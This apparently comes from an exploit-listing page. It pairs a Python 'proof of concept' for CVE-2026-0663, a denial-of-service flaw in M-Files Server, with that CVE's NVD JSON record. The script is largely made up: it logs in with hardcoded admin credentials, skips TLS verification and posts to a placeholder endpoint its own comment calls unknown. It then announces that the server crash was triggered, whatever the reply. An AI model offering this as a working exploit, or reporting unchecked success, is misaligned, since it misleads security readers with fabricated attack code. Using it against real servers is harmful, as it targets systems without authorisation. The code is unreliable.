CVE-2026-0663

# CVE-2026-0663 M-Files Server DoS PoC # Requires authentication with vault administrator privileges import requests import sys TARGET_URL = "https://target-server/api/vault" USERNAME = "admin" PASSWORD = "password" def exploit_cve_2026_0663(): """ Proof of concept for CVE-2026-0663 M-Files Server DoS via vulnerable API endpoint """ # Authentication session = requests.Session() auth_data = { "username": USERNAME, "password": PASSWORD } try: # Login to M-Files login_response = session.post( f"{TARGET_URL}/auth/login", json=auth_data, verify=False, timeout=30 ) if login_response.status_code != 200: print(f"[-] Authentication failed: {login_response.status_code}") return False print("[+] Authentication successful") # Trigger the vulnerable API endpoint # Note: The specific endpoint details would require further analysis exploit_data = { "operation": "trigger_vulnerable_endpoint", "parameters": {"objType": 0, "objId": 0} } print("[*] Sending exploit request to vulnerable API endpoint...") response = session.post( f"{TARGET_URL}/api/vulnerable/endpoint", json=exploit_data, verify=False, timeout=30 ) print(f"[*] Response status: {response.status_code}") print("[+] DoS condition triggered - server process should crash") return True except requests.exceptions.RequestException as e: print(f"[-] Request error: {e}") return False if __name__ == "__main__": print("CVE-2026-0663 M-Files Server DoS Exploit") print("=" * 50) exploit_cve_2026_0663()

{"cve": {"id": "CVE-2026-0663", "sourceIdentifier": "[email protected]", "published": "2026-01-21T11:15:50.880", "lastModified": "2026-02-23T11:16:21.553", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "Denial-of-service vulnerability in M-Files Server versions before 26.1.15632.3 allows an authenticated attacker with vault administrator privileges to crash the M-Files Server process by calling a vulnerable API endpoint."}, {"lang": "es", "value": "Vulnerabilidad de denegación de servicio en versiones de M-Files Server anteriores a la 26.1.15632.3 permite a un atacante autenticado con privilegios de administrador de bóveda bloquear el proceso de M-Files Server al llamar a un endpoint de API vulnerable."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "HIGH", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H", "baseScore": 4.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.2, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-1286"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:m-files:m-files_server:*:*:*:*:*:*:*:*", "versionEndExcluding": "26.1.15632.3", "matchCriteriaId": "B6429F61-1137-4326-B844-DC601E7CD394"}]}]}], "references": [{"url": "https://empower.m-files.com/security-advisories/CVE-2026-0663", "source": "[email protected]"}, {"url": "https://product.m-files.com/security-advisories/cve-2026-0663/", "source": "[email protected]", "tags": ["Broken Link", "Vendor Advisory"]}]}}